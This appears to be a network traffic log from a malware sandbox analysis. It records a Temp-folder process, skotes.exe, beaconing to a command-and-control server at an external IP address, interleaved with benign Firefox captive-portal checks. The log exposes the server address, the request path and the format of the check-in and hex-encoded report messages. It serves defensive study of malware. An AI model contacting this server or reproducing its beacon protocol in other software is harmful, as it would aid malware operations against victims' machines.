Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	62903	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:59.369755030 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 12:38:00.398966074 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	62909	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:38:01.876494884 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:02.473438978 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78825 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:02.531512976 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:02.675566912 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78825 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:02.867410898 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:02.993043900 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78825 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:03.224831104 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:03.349966049 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78826 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:03.524375916 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:03.650695086 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78826 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:04.163815022 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:04.289267063 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78827 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:04.810595036 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:05.878170967 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78827 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:05.878211975 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78827 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:05.878365993 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78827 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:08.895205021 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:09.021025896 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78831 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:14.102291107 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:14.228022099 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78837 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:19.892313957 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:20.019184113 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78842 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:30.041980982 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 30, 2024 12:38:31.554055929 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:31.688013077 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78854 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:32.222424030 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:32.348284960 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78855 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:38:40.779417038 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:38:40.904634953 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78863 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	62915	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:38:02.062580109 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 30, 2024 12:38:02.929811954 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	62922	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:38:02.552984953 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	62924	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:38:02.858052969 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	62928	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:38:03.019643068 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	62929	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:38:03.359651089 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	62931	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:38:03.662602901 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:38:04.270232916 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69753 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 12:38:04.296328068 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:38:04.422733068 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69753 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 12:38:05.880763054 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:38:06.006607056 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69754 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 12:38:09.039433002 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:38:09.165838957 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69758 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 12:38:14.250758886 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:38:14.379776955 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69763 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 12:38:20.040668011 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:38:20.167457104 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69769 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 12:38:30.183187008 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 30, 2024 12:38:31.702343941 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:38:31.828177929 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69780 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 12:38:32.354825974 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:38:32.480480909 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69781 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 12:38:40.920289040 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:38:41.046541929 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69789 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	62933	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:38:04.566291094 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 12:38:05.878355980 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 30, 2024 12:38:05.878401995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

